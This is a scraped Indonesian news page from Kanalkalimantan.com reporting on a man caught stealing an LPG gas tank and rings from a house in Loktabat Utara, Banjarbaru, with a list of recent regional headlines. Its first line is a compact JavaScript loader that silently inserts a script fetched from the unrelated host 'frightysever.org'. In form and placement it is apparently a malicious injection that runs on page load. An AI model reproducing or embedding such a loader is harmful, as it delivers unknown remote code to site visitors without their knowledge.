(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Sempat Terseret Motor, Warga Gagalkan Pencuri Tabung Gas di Loktabat Utara


KANALKALIMANTAN.COM, BANJARBARU – Salah seorang warga Martapura, Kabupaten Banjar berinisial S (21), diduga melakukan pencurian tabung gas elpiji 3 Kg, cincin batu permata dan cincin emas campuran.

Hal ini terungkap saat S (21) melakukan aksinya di sebuah rumah di Jalan Karang Anyar III RT 019 RW 008, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kota Banjarbaru, pada Minggu (29/5/2022) sekitar pukul 13.30 Wita.

Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Ps Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan, tertangkapnya pelaku bermula saat salah satu saksi ke rumah korban untuk menghidupkan listrik. Kemudian saksi melihat pelaku keluar dari rumah korban.

“Saat itu saksi melihat pelaku keluar dari rumah korban dan menanyakan maksud tujuan pelaku masuk ke dalam rumah dengan membawa sebuah tabung gas,” ujarnya.

 

 

Baca juga: 1 ASN Pemprov Kalsel Masuk “Kabinet” Wali Kota Aditya, 7 Pejabat Baru Dilantik

Curiga dengan gelagat pelaku, kemudian saksi memanggil saksi lain, dan menanyakan hal yang sama kepada pelaku.

“Pelaku memberikan alibi kalau dirinya disuruh membawa tabung gas tersebut oleh korban,” tambahnya.

Kemudian, para saksi lantas memanggil korban sedang berada di warung dekat rumahnya.

“Pelaku hendak melarikan diri menggunakan sepeda motor. Namun, ditahan oleh kedua orang saksi di bagian gagang belakang sepeda motor pelaku,” jelas Kasi Humas Polsek Banjarbaru Utara.

“Saksi saat menahan terseret 25 meter dan kemudian berhasil mengamankan pelaku,” sambungnya.

Pelaku kemudian dilaporkan ke Polsek Banjabaru Utara untuk proses hukum lebih lanjut. Akibat kejadian tersebut korban menelan kerugian sebesar Rp 3,5 juta.

Baca juga: Karena Hamil 2 CJH Balangan Urung Berangkat Haji

Adapun barang bukti berhasil diamankan petugas berupa 6 buah cincin batu permata dan emban batu yang terbuat dari emas campuran, satu buah tabung gas 3 Kg dan satu unit sepeda motor merk Honda Scoopy warna hitam dengan Nopol DA 6546 BBP berhasil diamankan polisi.

“Pelaku beserta barang bukti sudah diamankan di Mapolsek Banjarbaru Utara oleh anggota piket gabungan guna penyelidikan lebih lanjut,” tuntasnya.

Berdasarkan tindakan tersebut, pelaku bakal dikenakan pasal 365 KUHP Jo pasal 362 KUHP Jo Pasal 64 KUHP.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

4 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

4 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

4 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

5 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

6 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

7 jam ago

This website uses cookies.